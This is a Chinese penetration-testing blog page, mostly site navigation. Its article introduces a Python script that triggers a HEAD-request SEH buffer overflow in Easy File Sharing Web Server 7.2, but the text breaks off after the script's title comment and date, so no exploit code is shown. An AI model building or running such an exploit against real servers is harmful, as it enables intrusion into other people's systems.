<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <title>触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本 | 冰河技术</title>
    <meta name="generator" content="VuePress 1.9.7">
    <link rel="icon" href="/favicon.ico">
    <script charset="utf-8" async="async" src="/js/jquery.min.js"></script>
    <script charset="utf-8" async="async" src="/js/global.js"></script>
    <script charset="utf-8" async="async" src="/js/fingerprint2.min.js"></script>
    <script charset="utf-8" async="async" src="https://v1.cnzz.com/z_stat.php?id=1281063564&amp;web_id=1281063564"></script>
    <script charset="utf-8" async="async" src="https://s9.cnzz.com/z_stat.php?id=1281064551&amp;web_id=1281064551"></script>
    <script>
            var _hmt = _hmt || [];
            (function() {
              var hm = document.createElement("script");
              hm.src = "https://hm.baidu.com/hm.js?d091d2fd0231588b1d0f9231e24e3f5e";
              var s = document.getElementsByTagName("script")[0];
              s.parentNode.insertBefore(hm, s);
            })();
            </script>
    <meta name="description" content="包含：编程语言，开发技术，分布式，微服务，高并发，高可用，高可扩展，高可维护，JVM技术，MySQL，分布式数据库，分布式事务，云原生，大数据，云计算，渗透技术，各种面试题，面试技巧...">
    <meta property="article:modified_time" content="2022-05-23T11:30:51.000Z">
    <meta property="og:title" content="触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本">
    <meta property="og:type" content="article">
    <meta property="og:url" content="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html">
    <meta name="twitter:title" content="触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本">
    <meta name="twitter:url" content="/md/hack/bash/2022-05-02-002-%E8%A7%A6%E5%8F%91EasyFileSharingWebServer7.2HEAD%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84Python%E8%84%9A%E6%9C%AC.html">
    <meta name="twitter:card" content="summary_large_image">
    <meta name="robots" content="all">
    <meta name="author" content="冰河">
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta name="keywords" content="冰河，冰河技术, 编程语言，开发技术，分布式，微服务，高并发，高可用，高可扩展，高可维护，JVM技术，MySQL，分布式数据库，分布式事务，云原生，大数据，云计算，渗透技术，各种面试题，面试技巧">
    <meta name="apple-mobile-web-app-capable" content="yes">
    
    <link rel="preload" href="/assets/css/0.styles.ab888ebb.css" as="style"><link rel="preload" href="/assets/css/styles.css?v=1653305936337" as="style"><link rel="preload" href="/assets/js/cg-styles.js?v=1653305936337" as="script"><link rel="preload" href="/assets/js/cg-app.js?v=1653305936337" as="script"><link rel="preload" href="/assets/js/cg-4.js?v=1653305936337" as="script"><link rel="preload" href="/assets/js/cg-3.js?v=1653305936337" as="script"><link rel="preload" href="/assets/js/cg-134.js?v=1653305936337" as="script"><link rel="preload" href="/assets/js/cg-5.js?v=1653305936337" as="script"><link rel="preload" href="/assets/js/cg-6.js?v=1653305936337" as="script">
    <link rel="stylesheet" href="/assets/css/0.styles.ab888ebb.css"><link rel="stylesheet" href="/assets/css/styles.css?v=1653305936337">
  </head>
  <body>
    <div id="app" data-server-rendered="true"><div class="theme-container"><header class="navbar"><div class="sidebar-button"><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="img" viewBox="0 0 448 512" class="icon"><path fill="currentColor" d="M436 124H12c-6.627 0-12-5.373-12-12V80c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12zm0 160H12c-6.627 0-12-5.373-12-12v-32c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12zm0 160H12c-6.627 0-12-5.373-12-12v-32c0-6.627 5.373-12 12-12h424c6.627 0 12 5.373 12 12v32c0 6.627-5.373 12-12 12z"></path></svg></div> <a href="/" class="home-link router-link-active"><!----> <span class="site-name">冰河技术</span></a> <div class="links"><div class="search-box"><input aria-label="Search" autocomplete="off" spellcheck="false" value=""> <!----></div> <nav class="nav-links can-hide"><div class="nav-item"><a href="/md/other/guide-to-reading.html" class="nav-link">
  导读
</a></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="核心技术" class="dropdown-title"><span class="title">核心技术</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><h4>
          Java核心技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/core/java/basics/2022-04-28-全网最全正则表达式总结.html" class="nav-link">
  Java基础
</a></li><li class="dropdown-subitem"><a href="/md/core/java/advanced/default.html" class="nav-link">
  Java进阶
</a></li><li class="dropdown-subitem"><a href="/md/core/java/senior/default.html" class="nav-link">
  Java高级
</a></li><li class="dropdown-subitem"><a href="/md/core/java/java8/2022-03-31-001-Java8有哪些新特性呢？.html" class="nav-link">
  Java8新特性
</a></li></ul></li><li class="dropdown-item"><h4>
          Spring核心技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.html" class="nav-link">
  IOC核心技术
</a></li><li class="dropdown-subitem"><a href="/md/core/spring/aop/default.html" class="nav-link">
  AOP核心技术
</a></li></ul></li><li class="dropdown-item"><h4>
          JVM核心技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/core/jvm/2022-04-18-001-JVM调优的几种场景.html" class="nav-link">
  JVM调优技术
</a></li></ul></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="性能调优" class="dropdown-title"><span class="title">性能调优</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/performance/jvm/default.html" class="nav-link">
  JVM性能调优
</a></li><li class="dropdown-item"><!----> <a href="/md/performance/tomcat/default.html" class="nav-link">
  Tomcat性能调优
</a></li><li class="dropdown-item"><!----> <a href="/md/performance/mysql/default.html" class="nav-link">
  MySQL性能调优
</a></li><li class="dropdown-item"><!----> <a href="/md/performance/system/default.html" class="nav-link">
  操作系统性能调优
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="并发编程" class="dropdown-title"><span class="title">并发编程</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/concurrent/bottom/default.html" class="nav-link">
  底层技术
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.html" class="nav-link">
  源码分析
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/basics/2020-03-30-001-明明中断了线程，却为何不起作用呢？.html" class="nav-link">
  基础案例
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/ActualCombat/default.html" class="nav-link">
  实战案例
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/interview/default.html" class="nav-link">
  面试
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/framework/default.html" class="nav-link">
  系统架构
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="框架源码" class="dropdown-title"><span class="title">框架源码</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/frame/spring/default.html" class="nav-link">
  Spring源码
</a></li><li class="dropdown-item"><!----> <a href="/md/frame/springmvc/default.html" class="nav-link">
  SpringMVC源码
</a></li><li class="dropdown-item"><!----> <a href="/md/frame/mybatis/default.html" class="nav-link">
  MyBatis源码
</a></li><li class="dropdown-item"><!----> <a href="/md/frame/dubbo/default.html" class="nav-link">
  Dubbo源码
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="分布式" class="dropdown-title"><span class="title">分布式</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><h4>
          缓存技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/cache/default.html" class="nav-link">
  Redis
</a></li></ul></li><li class="dropdown-item"><h4>
          服务注册发现
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/zookeeper/default.html" class="nav-link">
  Zookeeper
</a></li></ul></li><li class="dropdown-item"><h4>
          消息中间件
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/mq/rabbitmq/default.html" class="nav-link">
  RabbitMQ
</a></li><li class="dropdown-subitem"><a href="/md/distributed/mq/rocketmq/default.html" class="nav-link">
  RocketMQ
</a></li><li class="dropdown-subitem"><a href="/md/distributed/mq/kafka/default.html" class="nav-link">
  Kafka
</a></li></ul></li><li class="dropdown-item"><h4>
          网络通信
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/netty/default.html" class="nav-link">
  Netty
</a></li></ul></li><li class="dropdown-item"><h4>
          远程调用
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/dubbo/default.html" class="nav-link">
  Dubbo
</a></li></ul></li><li class="dropdown-item"><h4>
          数据库
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/mongodb/default.html" class="nav-link">
  MongoDB
</a></li></ul></li><li class="dropdown-item"><h4>
          搜索引擎
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/es/default.html" class="nav-link">
  ElasticSearch
</a></li></ul></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="微服务" class="dropdown-title"><span class="title">微服务</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/microservices/springboot/default.html" class="nav-link">
  SpringBoot
</a></li><li class="dropdown-item"><!----> <a href="/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.html" class="nav-link">
  SpringCloudAlibaba
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="中间件" class="dropdown-title"><span class="title">中间件</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/middleware/bytecode/2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.html" class="nav-link">
  字节码编程
</a></li><li class="dropdown-item"><!----> <a href="/md/middleware/threadpool/default.html" class="nav-link">
  手写线程池
</a></li><li class="dropdown-item"><!----> <a href="/md/middleware/limiter/default.html" class="nav-link">
  分布式限流
</a></li><li class="dropdown-item"><!----> <a href="/md/middleware/independent/default.html" class="nav-link">
  开源项目
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="项目实战" class="dropdown-title"><span class="title">项目实战</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.html" class="nav-link">
  SpringCloud Alibaba实战
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="渗透技术" class="dropdown-title"><span class="title">渗透技术</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/hack/environment/2022-04-17-001-安装Kali系统.html" class="nav-link">
  基础环境篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/tools/2022-04-17-001-使用Easy-Creds工具攻击无线网络.html" class="nav-link">
  渗透工具篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/horse/2022-05-02-001-各种一句话木马大全.html" class="nav-link">
  木马篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/sql/2022-05-02-001-sqli-labs-master下载与安装.html" class="nav-link">
  SQL注入篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/shell/2022-05-02-001-各种解析漏洞拿shell.html" class="nav-link">
  漏洞拿Shell篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/crack/2022-05-02-001-使用rarcrack暴力破解RAR-ZIP-7Z压缩包.html" class="nav-link">
  暴力破解篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/bash/2022-05-02-001-3389脚本开启代码(vbs版).html" class="nav-link">
  渗透脚本篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/raising/2022-05-02-001-数据库提权.html" class="nav-link">
  数据与系统提权篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/client/2022-05-02-001-浏览器渗透.html" class="nav-link">
  客户端渗透篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/sociology/2022-05-02-001-Metasploit之社会工程学工具包.html" class="nav-link">
  社会工程学
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/question/2022-05-02-001-HTTP错误4031禁止访问-执行访问被拒绝.html" class="nav-link">
  问题记录篇
</a></li></ul></div></div><div class="nav-item"><a href="/md/interview/2022-04-18-001-面试必问-聊聊JVM性能调优.html" class="nav-link">
  面试必问系列
</a></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="📚PDF" class="dropdown-title"><span class="title">📚PDF</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><h4>
          出版图书
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/knowledge/book/2022-03-29-深入理解分布式事务.html" class="nav-link">
  《深入理解分布式事务：原理与实战》
</a></li><li class="dropdown-subitem"><a href="/md/knowledge/book/2022-03-29-MySQL技术大全.html" class="nav-link">
  《MySQL技术大全：开发、优化与运维实战》
</a></li><li class="dropdown-subitem"><a href="/md/knowledge/book/2022-03-29-海量数据处理与大数据技术实战.html" class="nav-link">
  《海量数据处理与大数据技术实战》
</a></li></ul></li><li class="dropdown-item"><h4>
          电子书籍
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/knowledge/pdf/2022-03-30-《冰河的渗透实战笔记》电子书，442页，37万字，正式发布.html" class="nav-link">
  冰河的渗透实战笔记
</a></li></ul></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="关于" class="dropdown-title"><span class="title">关于</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/about/me/about-me.html" class="nav-link">
  关于自己
</a></li><li class="dropdown-item"><!----> <a href="/md/about/study/default.html" class="nav-link">
  关于学习
</a></li><li class="dropdown-item"><!----> <a href="/md/about/job/default.html" class="nav-link">
  关于职场
</a></li></ul></div></div><div class="nav-item"><a href="https://space.bilibili.com/517638832" target="_blank" rel="noopener noreferrer" class="nav-link external">
  B站
  <span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></div><div class="nav-item"><a href="https://github.com/binghe001/BingheGuide" target="_blank" rel="noopener noreferrer" class="nav-link external">
  Github
  <span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></div> <!----></nav></div></header> <div class="sidebar-mask"></div> <aside class="sidebar"><nav class="nav-links"><div class="nav-item"><a href="/md/other/guide-to-reading.html" class="nav-link">
  导读
</a></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="核心技术" class="dropdown-title"><span class="title">核心技术</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><h4>
          Java核心技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/core/java/basics/2022-04-28-全网最全正则表达式总结.html" class="nav-link">
  Java基础
</a></li><li class="dropdown-subitem"><a href="/md/core/java/advanced/default.html" class="nav-link">
  Java进阶
</a></li><li class="dropdown-subitem"><a href="/md/core/java/senior/default.html" class="nav-link">
  Java高级
</a></li><li class="dropdown-subitem"><a href="/md/core/java/java8/2022-03-31-001-Java8有哪些新特性呢？.html" class="nav-link">
  Java8新特性
</a></li></ul></li><li class="dropdown-item"><h4>
          Spring核心技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.html" class="nav-link">
  IOC核心技术
</a></li><li class="dropdown-subitem"><a href="/md/core/spring/aop/default.html" class="nav-link">
  AOP核心技术
</a></li></ul></li><li class="dropdown-item"><h4>
          JVM核心技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/core/jvm/2022-04-18-001-JVM调优的几种场景.html" class="nav-link">
  JVM调优技术
</a></li></ul></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="性能调优" class="dropdown-title"><span class="title">性能调优</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/performance/jvm/default.html" class="nav-link">
  JVM性能调优
</a></li><li class="dropdown-item"><!----> <a href="/md/performance/tomcat/default.html" class="nav-link">
  Tomcat性能调优
</a></li><li class="dropdown-item"><!----> <a href="/md/performance/mysql/default.html" class="nav-link">
  MySQL性能调优
</a></li><li class="dropdown-item"><!----> <a href="/md/performance/system/default.html" class="nav-link">
  操作系统性能调优
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="并发编程" class="dropdown-title"><span class="title">并发编程</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/concurrent/bottom/default.html" class="nav-link">
  底层技术
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.html" class="nav-link">
  源码分析
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/basics/2020-03-30-001-明明中断了线程，却为何不起作用呢？.html" class="nav-link">
  基础案例
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/ActualCombat/default.html" class="nav-link">
  实战案例
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/interview/default.html" class="nav-link">
  面试
</a></li><li class="dropdown-item"><!----> <a href="/md/concurrent/framework/default.html" class="nav-link">
  系统架构
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="框架源码" class="dropdown-title"><span class="title">框架源码</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/frame/spring/default.html" class="nav-link">
  Spring源码
</a></li><li class="dropdown-item"><!----> <a href="/md/frame/springmvc/default.html" class="nav-link">
  SpringMVC源码
</a></li><li class="dropdown-item"><!----> <a href="/md/frame/mybatis/default.html" class="nav-link">
  MyBatis源码
</a></li><li class="dropdown-item"><!----> <a href="/md/frame/dubbo/default.html" class="nav-link">
  Dubbo源码
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="分布式" class="dropdown-title"><span class="title">分布式</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><h4>
          缓存技术
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/cache/default.html" class="nav-link">
  Redis
</a></li></ul></li><li class="dropdown-item"><h4>
          服务注册发现
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/zookeeper/default.html" class="nav-link">
  Zookeeper
</a></li></ul></li><li class="dropdown-item"><h4>
          消息中间件
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/mq/rabbitmq/default.html" class="nav-link">
  RabbitMQ
</a></li><li class="dropdown-subitem"><a href="/md/distributed/mq/rocketmq/default.html" class="nav-link">
  RocketMQ
</a></li><li class="dropdown-subitem"><a href="/md/distributed/mq/kafka/default.html" class="nav-link">
  Kafka
</a></li></ul></li><li class="dropdown-item"><h4>
          网络通信
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/netty/default.html" class="nav-link">
  Netty
</a></li></ul></li><li class="dropdown-item"><h4>
          远程调用
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/dubbo/default.html" class="nav-link">
  Dubbo
</a></li></ul></li><li class="dropdown-item"><h4>
          数据库
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/mongodb/default.html" class="nav-link">
  MongoDB
</a></li></ul></li><li class="dropdown-item"><h4>
          搜索引擎
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/distributed/es/default.html" class="nav-link">
  ElasticSearch
</a></li></ul></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="微服务" class="dropdown-title"><span class="title">微服务</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/microservices/springboot/default.html" class="nav-link">
  SpringBoot
</a></li><li class="dropdown-item"><!----> <a href="/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.html" class="nav-link">
  SpringCloudAlibaba
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="中间件" class="dropdown-title"><span class="title">中间件</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/middleware/bytecode/2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.html" class="nav-link">
  字节码编程
</a></li><li class="dropdown-item"><!----> <a href="/md/middleware/threadpool/default.html" class="nav-link">
  手写线程池
</a></li><li class="dropdown-item"><!----> <a href="/md/middleware/limiter/default.html" class="nav-link">
  分布式限流
</a></li><li class="dropdown-item"><!----> <a href="/md/middleware/independent/default.html" class="nav-link">
  开源项目
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="项目实战" class="dropdown-title"><span class="title">项目实战</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.html" class="nav-link">
  SpringCloud Alibaba实战
</a></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="渗透技术" class="dropdown-title"><span class="title">渗透技术</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/hack/environment/2022-04-17-001-安装Kali系统.html" class="nav-link">
  基础环境篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/tools/2022-04-17-001-使用Easy-Creds工具攻击无线网络.html" class="nav-link">
  渗透工具篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/horse/2022-05-02-001-各种一句话木马大全.html" class="nav-link">
  木马篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/sql/2022-05-02-001-sqli-labs-master下载与安装.html" class="nav-link">
  SQL注入篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/shell/2022-05-02-001-各种解析漏洞拿shell.html" class="nav-link">
  漏洞拿Shell篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/crack/2022-05-02-001-使用rarcrack暴力破解RAR-ZIP-7Z压缩包.html" class="nav-link">
  暴力破解篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/bash/2022-05-02-001-3389脚本开启代码(vbs版).html" class="nav-link">
  渗透脚本篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/raising/2022-05-02-001-数据库提权.html" class="nav-link">
  数据与系统提权篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/client/2022-05-02-001-浏览器渗透.html" class="nav-link">
  客户端渗透篇
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/sociology/2022-05-02-001-Metasploit之社会工程学工具包.html" class="nav-link">
  社会工程学
</a></li><li class="dropdown-item"><!----> <a href="/md/hack/question/2022-05-02-001-HTTP错误4031禁止访问-执行访问被拒绝.html" class="nav-link">
  问题记录篇
</a></li></ul></div></div><div class="nav-item"><a href="/md/interview/2022-04-18-001-面试必问-聊聊JVM性能调优.html" class="nav-link">
  面试必问系列
</a></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="📚PDF" class="dropdown-title"><span class="title">📚PDF</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><h4>
          出版图书
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/knowledge/book/2022-03-29-深入理解分布式事务.html" class="nav-link">
  《深入理解分布式事务：原理与实战》
</a></li><li class="dropdown-subitem"><a href="/md/knowledge/book/2022-03-29-MySQL技术大全.html" class="nav-link">
  《MySQL技术大全：开发、优化与运维实战》
</a></li><li class="dropdown-subitem"><a href="/md/knowledge/book/2022-03-29-海量数据处理与大数据技术实战.html" class="nav-link">
  《海量数据处理与大数据技术实战》
</a></li></ul></li><li class="dropdown-item"><h4>
          电子书籍
        </h4> <ul class="dropdown-subitem-wrapper"><li class="dropdown-subitem"><a href="/md/knowledge/pdf/2022-03-30-《冰河的渗透实战笔记》电子书，442页，37万字，正式发布.html" class="nav-link">
  冰河的渗透实战笔记
</a></li></ul></li></ul></div></div><div class="nav-item"><div class="dropdown-wrapper"><button type="button" aria-label="关于" class="dropdown-title"><span class="title">关于</span> <span class="arrow right"></span></button> <ul class="nav-dropdown" style="display:none;"><li class="dropdown-item"><!----> <a href="/md/about/me/about-me.html" class="nav-link">
  关于自己
</a></li><li class="dropdown-item"><!----> <a href="/md/about/study/default.html" class="nav-link">
  关于学习
</a></li><li class="dropdown-item"><!----> <a href="/md/about/job/default.html" class="nav-link">
  关于职场
</a></li></ul></div></div><div class="nav-item"><a href="https://space.bilibili.com/517638832" target="_blank" rel="noopener noreferrer" class="nav-link external">
  B站
  <span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></div><div class="nav-item"><a href="https://github.com/binghe001/BingheGuide" target="_blank" rel="noopener noreferrer" class="nav-link external">
  Github
  <span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a></div> <!----></nav>  <ul class="sidebar-links"><li><section class="sidebar-group depth-0"><p class="sidebar-heading open"><span>渗透脚本篇</span> <!----></p> <ul class="sidebar-links sidebar-group-items"><li><a href="/md/hack/bash/2022-05-02-001-3389脚本开启代码(vbs版).html" class="sidebar-link">3389脚本开启代码(vbs版)</a></li><li><a href="/md/hack/bash/2022-05-02-002-触发EasyFileSharingWebServer7.2HEAD缓冲区溢出的Python脚本.html" class="active sidebar-link">触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本</a></li></ul></section></li></ul> </aside> <div><main class="page"> <div class="theme-default-content content__default"><h1 id="触发easy-file-sharing-web-server-7-2-head缓冲区溢出的python脚本"><a href="#触发easy-file-sharing-web-server-7-2-head缓冲区溢出的python脚本" class="header-anchor">#</a> 触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本</h1> <h2 id="脚本一"><a href="#脚本一" class="header-anchor">#</a> 脚本一：</h2> <div class="language-python line-numbers-mode"><pre class="language-python"><code><span class="token comment"># Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow</span>
<span class="token comment"># Date: 2019-01-16</span>
